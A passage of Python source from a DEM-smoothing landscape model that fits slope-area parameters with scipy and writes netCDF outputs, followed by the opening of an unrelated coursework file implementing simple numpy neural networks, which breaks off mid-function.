self.d8.A.flat[ ready_IDs ] # (later on) ## A_vals = self.areas.flat[ ready_IDs ] ## S_vals = self.c * (A_vals ** self.p) #----------------------------------- # S(0)=0 and S(Inf)=0 # Smax = (1-exp(-1)) * Ah^p * c #----------------------------------- #** S_vals = c * (A_vals^p) * (1.0 - exp(-A_vals/Ah)) #----------------------------------- # Try to capture convex hillslopes # with a second power-law curve. #------------------------------------------------------------- # Can force continuity, but can't match derivatives or # get p2=p1. This can be seen with a figure. We expect # 0 < p2 < 1, so we'll just fix p2 and compute c2 from cont. #------------------------------------------------------------- # ww = where(A_vals < Ah) # nww = ww[0].size # if (nww != 0): # Smax = c * (Ah**p) #** p2 = 0.1 #** p2 = 0.5 # p2 = 0.8 #** p2 = 1 #** p2 = 2 #** p2 = 4 # c2 = Smax / Ah**p2 # S_vals[ww] = c2 * (A_vals[ww]**p2) #------------------------------------------ # Update the new, smooth elevation values #--------------------------------------------------------- # Note: Since D8 areas always increase downstream, the # slopes computed from Flint's law must always decrease. #--------------------------------------------------------- ds_vals = self.d8.ds.flat[ ready_IDs ] # [meters] dz_vals = S_vals * ds_vals # [meters] self.DEM.flat[ ready_IDs ] = (p_elev[wp] + dz_vals) STILL_ACTIVE = True #------------------------------------- # Compute the flow distances to edge #------------------------------------- self.flow_dist.flat[ ready_IDs ] = (p_dist[wp] + ds_vals) #------------------------ # Are we finished yet ? #------------------------ DONE = (n_assigned == n_IDs) if (DONE or not(STILL_ACTIVE)): break #-------------------------- # Compute DEM min and max #-------------------------- self.zmin = np.nanmin(self.DEM) self.zmax = np.nanmax(self.DEM) #-------------------------------------------------- # Adjust the values by a distance-weighted amount # so that max of new DEM will be same as old #------------------------------------------------- # wmax = where( self.DEM == self.zmax ) # dmax = self.flow_dist[ (wmax[0][0], wmax[1][0]) ] # del_z = (self.flow_dist / dmax)*(self.zmax - self.z0max) # self.DEM = self.DEM - del_z #------------------------------------------------- # Scale the values by a distance-weighted factor # so that max of new DEM will be same as old #------------------------------------------------- # factor = (1 - (self.flow_dist / dmax)) * # self.DEM = self.DEM * factor #---------------------- # Print final message #---------------------- ## if (self.REPORT): ## print 'Finished with new DEM. ' ## print ' ' print('Number of iterations = ' + str(n_reps)) print('Min/Max of orig. DEM = ' + \ str(self.z0min) + ', ' + str(self.z0max)) print('Min/Max of new DEM = ' + \ str(self.zmin) + ', ' + str(self.zmax)) print(' ') # update_DEM() #------------------------------------------------------------------------- def read_profile_data(self, n_header=None): #-------------------------------------------------------- # Notes: This routine gets pixel IDs for a main channel # streamline from profile_file and uses them to # get elevations, areas and pixel-to-pixel flow # lengths along the main channel for use by the # best_slope_area_curve_fit routine. #-------------------------------------------------------- if (n_header == None): n_header = np.int16(6) #------------------------------ # Count lines in profile file #------------------------------ n_lines = file_utils.count_lines( self.profile_file, SILENT=True ) n_lines = (n_lines - n_header) #------------------------------- dist = np.zeros([n_lines], dtype='float64') ## 1/16/12 elev = np.zeros([n_lines], dtype='float64') ## 1/16/12 cols = np.zeros([n_lines], dtype='int32') rows = np.zeros([n_lines], dtype='int32') #----------------------------- # Open file to read IDs and # skip over the header lines #----------------------------- file_unit = open(self.profile_file, 'r') cfg.skip_header( file_unit, n_lines=n_header ) #---------------------------------- # Read the column and row vectors #----------------------------------------------------- # Profile file has: distance, elevation, column, row #----------------------------------------------------- dtype_list = ['float64','float64','int32', 'int32'] for k in range(n_lines): var_list = cfg.read_list( file_unit, dtype_list=dtype_list ) dist[k] = var_list[0] ## 1/16/12 elev[k] = var_list[1] ## 1/16/12 cols[k] = var_list[2] rows[k] = var_list[3] #--------------------- # Close profile_file #--------------------- file_unit.close() #-------------------------------------------- # Read the DEM, area and D8 flow code grids #------------------------------------------------- # 1/16/12. Should we add area_file and flow_file # to the CFG file? It already has DEM_file. #------------------------------------------------- dp = (self.in_directory + self.site_prefix) DEM_file = dp + '_DEM.rtg' ## 1/16/12 area_file = dp + '_area.rtg' ## 1/16/12 #-------------------------------------------- info = self.rti DEM = rtg_files.read_grid( self.DEM_file, info, RTG_type=info.data_type ) areas = rtg_files.read_grid( area_file, info, RTG_type='FLOAT' ) ## ds = rtg_files.read_grid( ds_file, info, RTG_type='FLOAT' ) ######### Done by read_input_files() ?? #--------------------------------------- # Only used for Flow_Lengths function. #--------------------------------------- # flow_file = self.site_prefix + '_flow.rtg' ## 1/16/12 # codes = rtg_files.read_grid( flow_file, info, RTG_type='BYTE' ) #----------------------------------------------------- # Compute the along-channel flow lengths (ds vector) #----------------------------------------------------- # ds = Flow_Lengths(codes, RTI_file, METERS=True, DOUBLE=True) ######## #------------------------------------------------------ # Construct ds vector from distances in profile_file. # First distance is always zero. # Also need to convert from km to meters. # Size of "diffs" is one less than size of "dist". #------------------------------------------------------ diffs = np.diff( dist ) # print 'size(dist) =', dist.size # print 'size(diffs) =', diffs.size ds_profile = np.zeros( dist.size, dtype='float64' ) ds_profile[:-1] = diffs ds_profile[-1] = diffs[-2] ###################### NOT STRICTLY CORRECT ds_profile = ds_profile * 1000.0 # [meters] #------------------------------------------ # Construct calendar-style streamline IDs #------------------------------------------ ncols = np.size(DEM, 1) IDs = (ncols * rows) + cols #------------------------------------- # Get the profile elevations & areas #------------------------------------- ### z_profile = elev # (Use this instead ?? 1/16/12) z_profile = DEM.flat[ IDs ] # [meters] A_profile = areas.flat[ IDs ] # [km^2] # ds_profile = ds.flat[ IDs ] # [meters] #------------------------------------- # Reverse the vectors so that values # start at outlet and work upstream #----------------------------------------------------------- # Must use FLIPUD(x) vs. ROT90(x,-2) to reverse 1D arrays. #----------------------------------------------------------- self.A_profile = np.flipud( A_profile ) self.z_profile = np.flipud( z_profile ) self.ds_profile = np.flipud( ds_profile ) # read_profile_data() #------------------------------------------------------------------------- def find_best_fit_c_and_p(self, weights=None, REPORT=True): ## itmax=None, tol=None ): #------------------------------------------------------------ # Notes: These notes are for the original IDL version. # # This function uses IDL's CURVEFIT function and the # procedure slope_area_curve (above) to find the # best-fit parameters for fitting the data vectors # A and z. # x and y can have as few as 3 unique points, but # must contain 4 elements each to avoid an error # from IDL. The 3rd value can simply be repeated. # Initial guesses are required for all of the power # curve parameters (a,c,p) and the choice of these # has a big impact on whether CURVEFIT converges to # a solution. Some experimenting is necessary but # the initial guess for p must be a large negative # number like -10 if p is expected to be negative # and a small positive number like 0.001 if p is # expected to be positive ?? # The array of flags, fitvars, determines which # parameters are fixed and which ones to find, we # don't need to find z0, but we need to pass it. #------------------------------------------------------------ A = self.A_profile z = self.z_profile ds = self.ds_profile #--------------------------------------------- # Set weights for the curve fitting function #--------------------------------------------- if (weights == None): #----------------------------------------------- # Use equal weights; gives smaller stderr # but further from computed p value. A # leading constant didn't matter for CURVEFIT. #----------------------------------------------- # weights = np.ones( A.size ) #---------------------------------------------- # Poisson statistical weighting, gives a # smaller stderr, but further from computed p #---------------------------------------------- # weights = 1 / z #------------------------------------------------ # Weight by contributing areas: improved fit. # Since c and p values are used for entire DEM, # and since the number of streamlines that pass # through a given pixel is proportional to the # contributing area, A, this makes some sense. #------------------------------------------------ weights = A # weights = (A ** 1.1) # weights = np.sqrt(A) ;(good compromise ?) # weights = (A ** 0.75) #--------------------------------------------- # Combination of previous two methods, gives # worst stderr but closest to computed p. # Note that xdata=A, ydata=z in curve fit. #--------------------------------------------- # weights = (A / z) w0 = where(weights == 0) nw0 = w0[0].size if (nw0 != 0): weights[w0] = np.float64(1) #------------------------------------------ # Points used to generate initial guesses #------------------------------------------ z0 = z[0] # z1 = z[1] z2 = z[-1] #--------------------------------------------- # Need initial guesses with good convergence # properties; not necessarily close to value # (These worked well for IDL's CURVEFIT.) # Can't use p0 since keyword to curve_fit(). #--------------------------------------------- pg = np.float64( -0.5 ) cg = (z2 - z0) / np.sum(np.float64(ds * (A ** pg))) #------------------------------------------------------------- # Define fitting function needed by scipy.optimize.curve_fit. # First argument is only allowed independent variable, while # remaining arguments are the fitting parameters. Note that # ds (a vector) and z0 are treated as known values; the # curve_fit() function does not allow them as arguments. # Recall that S = c * A^p, and z = z0 + cumsum(ds * S). # We also want the first element of the estimate to be z0, # so we prepend 0 to dz. # # It looks like the first argument needs to be a scalar # in order for this to find best fit for both c and p. #------------------------------------------------------------- def fit_function(AA, cc, pp): dz = cc * np.float64( ds * ( AA ** pp ) ) dz = np.concatenate(( [0], dz[:-1] )) return z0 + np.cumsum( dz ) #-------------------------------------------------- # Define "L2_error" function, also called E(c,p). #-------------------------------------------------- def L2_error( params ): ###, *weights ): cc = params[0] pp = params[1] nz = z.size dz = cc * np.float64( ds * ( A ** pp ) ) dz = np.concatenate(( [0], dz[:-1] )) zf = z0 + np.cumsum(dz) #------------------------------------------------ # Experiment: Weighting by contributing area. # This gives a lower p-value, but seems to give # better results when applied to entire DEM. #------------------------------------------------ weights = A return np.sqrt( np.sum( weights*(z - zf)**2 ) / nz) # if (weights == None): # return np.sqrt( np.sum( (z - zf)**2 ) / nz) # else: # return np.sqrt( np.sum( weights*(z - zf)**2 ) / nz) #---------------------------------------------------- # Define "Fk(p)" function used by c1(p) and c2(p). #---------------------------------------------------- def Fk_function( k, p ): if (k == 0): return 0.0 A_vals = A[1: k+1] ds_vals = ds[1: k+1] return np.sum( (A_vals**p) * ds_vals ) #---------------------------------------------------- # Define "Fk(p)" function used by c1(p) and c2(p). #---------------------------------------------------- def Fkd_function( k, p ): if (k == 0): return 0.0 A_vals = A[1: k+1] ds_vals = ds[1: k+1] return np.sum( (A_vals**p) * np.log(A_vals) * ds_vals ) #---------------------------------------------------- # Define "c1(p)" function from d/dp[ E(c,p) ] = 0. #---------------------------------------------------- def c1_function( p ): nz = z.size Fk_vals = np.zeros( nz, dtype='float64' ) Fkd_vals = np.zeros( nz, dtype='float64' ) for k in range( nz ): Fk_vals[ k ] = Fk_function( k, p ) Fkd_vals[ k ] = Fkd_function( k, p ) top = np.sum( (z - z0) * Fkd_vals ) bot = np.sum( Fk_vals * Fkd_vals ) return (top / bot) #---------------------------------------------------- # Define "c2(p)" function from d/dc[ E(c,p) ] = 0. #---------------------------------------------------- def c2_function( p ): nz = z.size Fk_vals = np.zeros( nz, dtype='float64' ) Fkd_vals = np.zeros( nz, dtype='float64' ) for k in range( nz ): Fk_vals[ k ] = Fk_function( k, p ) Fkd_vals[ k ] = Fkd_function( k, p ) top = np.sum( (z - z0) * Fk_vals ) bot = np.sum( Fk_vals ** 2) return (top / bot) #------------------------------------------------- # Define "c_diff(p)" function (for root finder) # Best c and p should be where c1(p) = c2(p). #------------------------------------------------- def c_diff( p ): return ( c1_function(p) - c2_function(p) ) #------------------------------- # Define "c_diff2(p)" function #------------------------------- def c_diff2( p ): return ( c1_function(p) - c2_function(p) )**2 #--------------------------------------------------------------- # Use scipy.optimize.fmin() to find best-fit parameters # by finding parameters that minimize the L2 error. # This uses the Nelder-Mead downhill simplex algorithm. #--------------------------------------------------------------- # See: http://docs.scipy.org/doc/scipy/reference/optimize.html #--------------------------------------------------------------- # If (disp=True), convergence messages are printed. # If (retall=True), best_params contains a list of solutions. #------------------------------------------------------------- xtol = 1e-12 # (tolerance in best parameters) maxiter = 300 # (max number of iterations) best_guesses = np.array((cg, pg)) # (an nd_array) #----------------------------------------------------------- # Each of these methods works, with very similar results, # including c, p, maxerr, E(c,p), c_1(p) and c_2(p). #----------------------------------------------------------- # Note that L2_error() now uses "weights". It was # found previously with IDL's CURVEFIT that best results # were obtained with (weights = A), which causes downstream # points/pixels to have greater influence. This makes some # sense since the number of distinct streamlines/profiles # that pass through a given pixel is proportional to its # contributing area. It also causes the max in the new # DEMs to have a much more reasonable value, even though # the fit to the main channel profile used to find c and # p has a greater error. #----------------------------------------------------------- results = scipy.optimize.fmin( L2_error, best_guesses, xtol=xtol, maxiter=maxiter, disp=True, retall=True ) #------------------------------------------------------------------ # results = scipy.optimize.fmin_powell( L2_error, best_guesses, # xtol=xtol, maxiter=maxiter, # disp=True, retall=True ) #------------------------------------------------------------ # This experimental method also worked, but resulted in # larger maxerr and stderr, even though c1(p) and c2(p) # were closer to equal. Note that func(a) and func(b) must # have opposite signs and they did for KY_Sub when a=-1.0, # b=1.0, as shown. Also took longer to run. #------------------------------------------------------------ # best_p = scipy.optimize.brentq( c_diff, -1.0, 1.0, # xtol=xtol, maxiter=maxiter, disp=True ) # best_c = c1_function( best_p ) # best_pair = np.array( [best_c, best_p] ) # results = ( best_pair, best_pair ) #----------------------------------------------------------- # Experimental method. Didn't work with c_diff2 above. #----------------------------------------------------------- # p_guess = np.array( pg ) # results = scipy.optimize.fmin( c_diff2, p_guess, # xtol=xtol, maxiter=maxiter, disp=True, retall=True ) # best_p = results[0] # best_c = c1_function( best_p ) # best_pair = np.array( best_c, best_p ) # results[0] = best_pair #----------------------------------------------------------- # Didn't work with the default settings, as shown here. # DISP keyword not suppported in SciPy 0.9. #----------------------------------------------------------- # best_params = scipy.optimize.anneal( L2_error, best_guesses, # feps=xtol, maxiter=maxiter ) # results = [ best_params, best_params ] #-------------------------------------------------------------------- # This method requires a function for the derivative, "fprime" #-------------------------------------------------------------------- # results = scipy.optimize.fmin_ncg( L2_error, best_guesses, # fprime= ????????, # avextol=xtol, maxiter=maxiter, disp=True, retall=True ) #-------------------------------------------------------------------- # These methods didn't give similar results; p did not change from # its initial value. Also, they don't allow the XTOL keyword, # but tried the GTOL keyword. #-------------------------------------------------------------------- # results = scipy.optimize.fmin_cg( L2_error, best_guesses, # gtol=xtol, maxiter=maxiter, disp=True, retall=True ) #-------------------------------------------------------------------- # results = scipy.optimize.fmin_bfgs( L2_error, best_guesses, # gtol=xtol, maxiter=maxiter, disp=True, retall=True ) #-------------------------------------------------------------------- print(' ') # (after converence message) best_params = results[0] pair_list = results[1] self.c = best_params[0] self.p = best_params[1] if (REPORT): print('List of (c,p) pairs:') for pair in pair_list: print(' (c,p) =', pair) print(' ') # Note: minimize() is not available in SciPy 0.9. # best_params, info = scipy.optimize.minimize( L2_error, best_guesses, # method='Nelder-Mead') #------------------------------------------------------------- # Use scipy.optimize.curve_fit() to find best-fit parameters. # It uses nonlinear least squares to fit a function to data. #------------------------------------------------------------- # http://docs.scipy.org/doc/scipy/reference/generated/ # scipy.optimize.curve_fit.html # Uses the Levenburg-Marquardt algorithm implemented as: # scipy.optimize.leastsq() # Additional keyword arguments are passed directly to that # algorithm. See help(scipy.optimize.leastsq) for more info # on keywords such as: # maxfev: max number of iterations # ftol: Relative error desired in the sum of squares. # xtol: Relative error desired in the approximate solution. # ier: An integer information flag. (returned) # mesg: An error message string. (returned) # # popt, pcov = scipy.optimize.curve_fit(f, xdata, ydata, # p0=None, sigma=None, **kw) # # Keywords not expected by curve_fit() are passed directly # to the underlying leastsq() function. #------------------------------------------------------------- maxfev = 300 # (used for IDL's CURVEFIT) xtol = np.float64( 1e-10 ) # xtol = np.float64( 1e-20 ) # (used for IDL's CURVEFIT) # kwargs = { "maxfev":maxfev, "xtol":xtol } # (Works, but not needed.) # I don't know how to get values returned in keywords. # This doesn't work: kwargs = { "ier":None, "mesg":None } # This doesn't work: kwargs = { "ier":0, "mesg":'NONE' } # best_guesses = [cg, pg] # (a list) # best_guesses = (cg, pg) # (a tuple) # best_guesses = np.array((cg, pg)) # (an nd_array) # xdata = A # ydata = z # best_params, best_cov = scipy.optimize.curve_fit( fit_function, # xdata, ydata, # p0=best_guesses, ## p0=None, # ## sigma=weights, ## sigma=None, # maxfev=maxfev, # xtol=xtol ) # ## **kwargs ) # self.c = best_params[0] # self.p = best_params[1] # ier = kwargs['ier'] # mesg = kwargs['mesg'] # print 'ier =', ier # print 'mesg =', mesg # ier = 1 # mesg = 'NOT_SET' #-------------------------- # Compute error estimates #-------------------------- nz = z.size zfit = fit_function( A, self.c, self.p ) maxerr = np.max( np.absolute( z - zfit )) stderr = np.sqrt( np.sum( (z - zfit)**2 )/ nz ) # stderr = np.sqrt( np.sum( (z - zfit)**2 )/(nz - 1)) # (Bessel's correction?) #-------------------------------- # Print comparison of zfit to z #-------------------------------- if (REPORT): for k in range( len(z) ): print('(z, zfit, diff) =', z[k], ',', zfit[k], ',', (z[k]-zfit[k])) print(' ') # print 'A =', A # print ' ' # print 'ds =', ds # print ' ' #--------------------------- # Print an optional report #--------------------------- if (REPORT): print('--------------------------------------') print(' Least squares curve fit to profile') print(' weighted by contributing area') print('--------------------------------------') print('z(A) = z0 + np.cumsum(dz(A))') print('dz(A) = [0, ds * S(A)]') print('S(A) = c * (A^p)') print('--------------------------------------') print('z0 = ' + str(z0)) print('zmin, zmax =', np.nanmin(z), ',', np.nanmax(z)) print('Amin, Amax =', np.nanmin(A), ',', np.nanmax(A)) print('dsmin, dsmax =', np.nanmin(ds), ',', np.nanmax(ds)) print('--------------------------------------') print('c0 = ' + str(cg)) print('p0 = ' + str(pg)) print('--------------------------------------') print('c = ' + str(self.c)) print('p = ' + str(self.p)) print('maxerr = ' + str(maxerr)) print('stderr = ' + str(stderr)) # (same as E(c,p) print('--------------------------------------') print('E(c,p) = ' + str( L2_error( best_params ) )) print('c_1(p) = ' + str( c1_function( self.p ) )) print('c_2(p) = ' + str( c2_function( self.p ) )) print('--------------------------------------') print(' ') #-------------------------------- # Print status of the curve fit #----------------------------------------------------- # IDL's CURVEFIT provided information about whether # the algorithm converged or not and the number of # iterations. scipy.optimize.leastsq() provides # similar information in "ier" and "mesg". #----------------------------------------------------- # good_codes = [1,2,3,4] # if (ier not in good_codes): # print 'Error: ' + mesg # else: # print 'Message: ' + mesg # print ' ' #--------------------------------------------------- # Use IDL's CURVEFIT() to find best-fit parameters #------------------------------------------------------------------- # Result = CURVEFIT( X, Y, Weights, A [, Sigma] [, CHISQ=variable] # [, /DOUBLE] [, FITA=vector] # [, FUNCTION_NAME=string] [, /NODERIVATIVE] # [, ITER=variable] [, ITMAX=value] # [, STATUS={0 | 1 | 2}] [, TOL=value] # [, YERROR=variable] ) #------------------------------------------------------------------- # This is how CURVEFIT would be used: # # params = [c0, p0, z0] # fitvars = [1, 1, 0] # zfit = curvefit(A, z, weights, params, sigma, DOUBLE=True, # FUNCTION_NAME='IDL_fit_function', TOL=tol, # ITMAX=itmax, YERROR=stderr, FITA=fitvars, # STATUS=status, ITER=iter) # c = params[0] ; (these are passed back out) # p = params[1] # zfit = IDL_fit_function( A, c, p ) # (z0 and ds via "data") # zfit = z0 + (c * cumsum(ds * A**p)) # if (status == 0): # print 'Curve fit was successful!' # print 'Number of iterations = ' + str(iter) # elif (status == 1): # print 'Curve fit failed. Chi square was ' # print 'increasing without bounds.' # elif (status == 2): # print 'Curve fit failed to converge after' # print str(itmax) + ' iterations.' # else: # raise RuntimeError('no match found for expression') # print ' ' #--------------------------------------------------------------------- # find_best_fit_c_and_p() #------------------------------------------------------------------------- ## def IDL_fit_function(A, c, p): ## ### params, z, partials): ## ## #------------------------------------------------------------- ## # Notes: For use with IDL's CURVEFIT() function ## # ## # CUMULATIVE keyword to TOTAL gives partial sums and ## # returns a vector vs. a scalar. ## #------------------------------------------------------------- ## # NB! z0 is the elevation of the parent pixel of the ## # outlet pixel. It is not the elevation of the ## # outlet pixel and A is max (not zero) at the outlet ## # pixel. ## #------------------------------------------------------------- ## # NB! Procedures called by IDL's CURVEFIT must conform ## # to strict rules. This means that we have no way ## # to pass an additional vector argument like ds. ## # However, we can use a COMMON block, as done here. ## #------------------------------------------------------------- ## ds = common_block.ds_profile ## z0 = common_block.z0 ## ## z = z0 + (c * np.cumsum( float64(ds * A ** p) )) ## ## return z ## ## #------------------------------ ## # Compute partial derivatives ## #--------------------------------- ## # n_params() refers to number of ## # arguments to this procedure. ## #--------------------------------- ## ## if (n_params >= 4): ## ## dz_dc = np.cumsum(double(ds * A ** p)) ## ## dz_dp = c * np.cumsum(double(ds * log(A) * A ** p)) ## ## nA = np.size(A) ## ## dz_dz0 = zeros([nA], dtype='float64') + 1.0 ## ## partials = array([array([dz_dc]), array([dz_dp]), array([dz_dz0])]) ## ## ## ## return (A, params, z, partials) ## ## # IDL_fit_function() #------------------------------------------------------------------------- def open_input_files(self): pass # open_input_files() #------------------------------------------------------------------------- def read_input_files(self): #---------------------------------------- # Get name of the info file and read it #---------------------------------------- info = self.rti # info = rti_files.read_info( self.DEM_file ) #----------------------- # Read the initial DEM #----------------------- self.z0 = rtg_files.read_grid( self.DEM_file, info, RTG_type=info.data_type ) self.DEM = self.z0.copy() #--------------------------------- # Store original DEM min and max #--------------------------------- self.z0min = np.nanmin( self.z0 ) self.z0max = np.nanmax( self.z0 ) #------------------------------------------------ # Could read these, but now we use d8_global.py # to compute them to allow evolution. #------------------------------------------------ # self.areas = rtg_files.read_grid( self.area_file, info, RTG_type='FLOAT' ) # self.codes = rtg_files.read_grid( self.flow_file, info, RTG_type='BYTE' ) # read_input_files() #------------------------------------------------------------------------- def close_input_files(self): pass # close_input_files() #------------------------------------------------------------------------- def update_outfile_names(self): #------------------------------------------------- # Notes: Append out_directory to outfile names. #------------------------------------------------- self.z_gs_file = (self.out_directory + self.z_gs_file) self.D8_gs_file = (self.out_directory + self.D8_gs_file) self.S_gs_file = (self.out_directory + self.S_gs_file) self.A_gs_file = (self.out_directory + self.A_gs_file) #--------------------------------------------------------- self.z_ts_file = (self.out_directory + self.z_ts_file) self.D8_ts_file = (self.out_directory + self.D8_ts_file) self.S_ts_file = (self.out_directory + self.S_ts_file) self.A_ts_file = (self.out_directory + self.A_ts_file) ## self.new_DEM_file = (self.out_directory + self.new_DEM_file) ## self.new_rawDEM_file = (self.out_directory + self.new_rawDEM_file) ## self.new_slope_file = (self.out_directory + self.new_slope_file) ## self.new_flow_file = (self.out_directory + self.new_flow_file) # update_outfile_names() #------------------------------------------------------------------- def open_output_files(self): # (test import and info message) model_output.check_netcdf( SILENT=self.SILENT ) self.update_outfile_names() #-------------------------------------- # Open new files to write grid stacks #-------------------------------------- # open_new_gs_file() has a "dtype" keyword that defaults # to "float32". Flow codes have dtype = "uint8". #----------------------------------------------------------- if (self.SAVE_Z_GRIDS): model_output.open_new_gs_file( self, self.z_gs_file, self.rti, var_name='z', long_name='elevation', units_name='m') if (self.SAVE_D8_GRIDS): model_output.open_new_gs_file( self, self.D8_gs_file, self.rti, dtype='uint8', var_name='D8', long_name='D8 flow direction codes', units_name='none') if (self.SAVE_S_GRIDS): model_output.open_new_gs_file( self, self.S_gs_file, self.rti, var_name='S', long_name='surface slope', units_name='m/m') if (self.SAVE_A_GRIDS): model_output.open_new_gs_file( self, self.A_gs_file, self.rti, var_name='A', long_name='D8 contributing area', units_name='km^2') #-------------------------------------- # Open new files to write time series #-------------------------------------- IDs = self.outlet_IDs if (self.SAVE_Z_PIXELS): model_output.open_new_ts_file( self, self.z_ts_file, IDs, var_name='z', long_name='elevation', units_name='m') if (self.SAVE_D8_PIXELS): model_output.open_new_ts_file( self, self.D8_ts_file, IDs, dtype='uint8', var_name='D8', long_name='D8 flow direction codes', units_name='none') if (self.SAVE_S_PIXELS): model_output.open_new_ts_file( self, self.S_ts_file, IDs, var_name='S', long_name='surface slope', units_name='m/m') if (self.SAVE_A_PIXELS): model_output.open_new_ts_file( self, self.A_ts_file, IDs, var_name='A', long_name='D8 contributing area', units_name='km^2') #------------------------------------- # Save FLOAT version of original DEM # as the rawDEM for the new DEM #------------------------------------- ## if (self.rti.SWAP_ENDIAN): ## array(float32(self.z0), copy=0).byteswap(True) ## new_rawDEM_unit = open( self.new_rawDEM_file, 'wb' ) ## float32(self.z0).tofile( new_rawDEM_unit ) ## new_rawDEM_unit.close() ## self.new_DEM_unit = open(self.new_DEM_file, 'wb') ## self.new_slope_unit = open(self.new_slope_file, 'wb') ## self.new_rawDEM_unit = open(self.new_rawDEM_file, 'wb') ## self.new_flow_unit = open(self.new_flow_file, 'wb') # open_output_files() #------------------------------------------------------------------- def write_output_files(self, time_seconds=None): #--------------------------------------------------------- # Notes: This function was written to use only model # time (maybe from a caller) in seconds, and # the save_grid_dt and save_pixels_dt parameters # read by read_cfg_file(). # # read_cfg_file() makes sure that all of # the "save_dts" are larger than or equal to the # process dt. #--------------------------------------------------------- #----------------------------------------- # Allows time to be passed from a caller #----------------------------------------- if (time_seconds is None): time_seconds = self.time_sec model_time = int(time_seconds) #---------------------------------------- # Save computed values at sampled times #---------------------------------------- if (model_time % int(self.save_grid_dt) == 0): self.save_grids() if (model_time % int(self.save_pixels_dt) == 0): self.save_pixel_values() ## SWAP_ENDIAN = self.rti.SWAP_ENDIAN ## ## #----------------------- ## # Save new DEM in file ## #----------------------- ## if (SWAP_ENDIAN): ## array(float32(self.DEM), copy=0).byteswap(True) ## float32(self.DEM).tofile( self.new_DEM_unit ) ## #----------------------------- ## # Create RTI file for new DEM ## #------------------------------ ## info = self.rti ## info.data_type = 'FLOAT' ## #info.DEM_file = str(self.new_DEM_unit.name) ## rti_files.write_info( self.new_RTI_file, info ) ## ## #-------------------------------------- ## # Create and save new slope grid file ## #----------------------------------------- ## # Subpixel sinuosity, if any, is applied ## # later in Route_Flow. Both ds and the ## # pID_grid were computed above. ## #----------------------------------------- ## ## slopes = (self.new_DEM - self.new_DEM[pID_grid]) / ds ## if (SWAP_ENDIAN): ## array(float32(self.S), copy=0).byteswap(True) ## float32(self.S).tofile( self.new_slope_unit ) ## ## #------------------------------------ ## # Save D8 flow grid of original DEM ## # as the flow grid of the new DEM ## #----------------------------------------- ## # Check that flow grid hasn't changed ?? ;********************** ## #----------------------------------------- ## if (SWAP_ENDIAN): ## array(self.d8.d8_grid, copy=0).byteswap(True) ## self.d8.d8_grid.tofile( self.new_flow_unit ) ## # self.d8.d8_codes.tofile( self.new_flow_unit ) # write_output_files() #------------------------------------------------------------------- def close_output_files(self): ## self.new_DEM_unit.close() ## self.new_slope_unit.close() ## self.new_rawDEM_unit.close() ## self.new_flow_unit.close() if (self.SAVE_Z_GRIDS): model_output.close_gs_file( self, 'z') if (self.SAVE_D8_GRIDS): model_output.close_gs_file( self, 'D8') if (self.SAVE_S_GRIDS): model_output.close_gs_file( self, 'S') if (self.SAVE_A_GRIDS): model_output.close_gs_file( self, 'A') #--------------------------------------------------------------------- if (self.SAVE_Z_PIXELS): model_output.close_ts_file( self, 'z') if (self.SAVE_D8_PIXELS): model_output.close_ts_file( self, 'D8') if (self.SAVE_S_PIXELS): model_output.close_ts_file( self, 'S') if (self.SAVE_A_PIXELS): model_output.close_ts_file( self, 'A') # close_output_files() #------------------------------------------------------------------- def save_grids(self): #----------------------------------- # Save grid stack to a netCDF file #--------------------------------------------- # Note that add_grid() methods will convert # var from scalar to grid now, if necessary. #--------------------------------------------- if (self.SAVE_Z_GRIDS): if (self.time_index == 0): #-------------------------------------- # Save original DEM as the first grid #-------------------------------------- model_output.add_grid( self, self.z0, 'z', 0.0 ) model_output.add_grid( self, self.DEM, 'z', self.time_min ) if (self.SAVE_D8_GRIDS): model_output.add_grid( self, self.d8.d8_grid, 'D8', self.time_min ) if (self.SAVE_S_GRIDS): model_output.add_grid( self, self.S, 'S', self.time_min ) if (self.SAVE_A_GRIDS): model_output.add_grid( self, self.d8.A, 'A', self.time_min ) # save_grids() #------------------------------------------------------------------- def save_pixel_values(self): ##### save_time_series_data(self) ####### IDs = self.outlet_IDs time = self.time_min ##### #------------- # New method #------------- if (self.SAVE_Z_PIXELS): model_output.add_values_at_IDs( self, time, self.DEM, 'z', IDs ) if (self.SAVE_D8_PIXELS): model_output.add_values_at_IDs( self, time, self.d8.d8_grid, 'D8', IDs ) if (self.SAVE_S_PIXELS): model_output.add_values_at_IDs( self, time, self.S, 'S', IDs ) if (self.SAVE_A_PIXELS): model_output.add_values_at_IDs( self, time, self.d8.A, 'A', IDs ) # save_pixel_values() #------------------------------------------------------------------- suleymanaslan/bilkent-courseworkmachine_learning/neural_net.py import numpy as np class LinearRegressorANN: def __init__(self, input_dim=1, output_dim=1): self.w1 = np.array(np.random.normal(size=(output_dim, input_dim))) self.b1 = np.full((output_dim, 1), 0.01) def set_weights(self, new_weights): self.w1 = new_weights def forward(self, inputs): self.x = inputs self.nb_of_input = self.x.shape[0] self.wpb = np.matmul(self.w1, self.x) + self.b1 return self.wpb def loss(self, yt): self.err = yt.reshape((self.nb_of_input, 1)) - self.wpb.reshape((self.nb_of_input, 1)) self.errsqr = self.err**2 return self.errsqr def backward(self, learning_rate): derr = (2 * self.err) dyt = 1 * derr self.dwpb = -1 * derr dwmx = (1 * self.dwpb).reshape((self.nb_of_input, 1, 1)) db1 = 1 * self.dwpb dw1 = np.matmul(dwmx, np.transpose(self.x, axes=(0, 2, 1))) dx = np.matmul(np.transpose(self.w1), dwmx) self.w1 = self.w1 - learning_rate * np.mean(dw1, axis=0) self.b1 = self.b1 - learning_rate * np.mean(db1, axis=0) class TwoLayerANN: def __init__(self, units, input_dim=1, output_dim=1, activation_function="relu", loss_function="mse", use_momentum=False, momentum_factor=0.9): self.w1 = np.random.normal(size=(units, input_dim)) * np.sqrt(2.0/input_dim) self.b1 = np.full((units, 1), 0.01) self.w2 = np.random.normal(size=(output_dim, units)) * np.sqrt(2.0/units) self.b2 = np.full((output_dim, 1), 0.01) self.activation_function = activation_function self.loss_function = loss_function self.use_momentum = use_momentum self.momentum_factor = momentum_factor self.v1, self.v2, self.v3, self.v4 = 0, 0, 0, 0 def set_weights_1(self, new_weights): self.w1 = new_weights def set_weights_2(self, new_weights): self.w2 = new_weights def forward(self, inputs): self.x = inputs self.nb_of_input = self.x.shape[0] self.wmx = np.matmul(self.w1, self.x) self.wpb = self.wmx + self.b1 self.act = self.hidden_activation() self.wmr = np.matmul(self.w2, self.act); self.wpb2 = self.wmr + self.b2 return self.wpb2 def hidden_activation(self): if self.activation_function == "relu": self.sigmoid = None self.lrelu = None self.relu = np.maximum(self.wpb, np.zeros_like(self.wpb)) return self.relu elif self.activation_function == 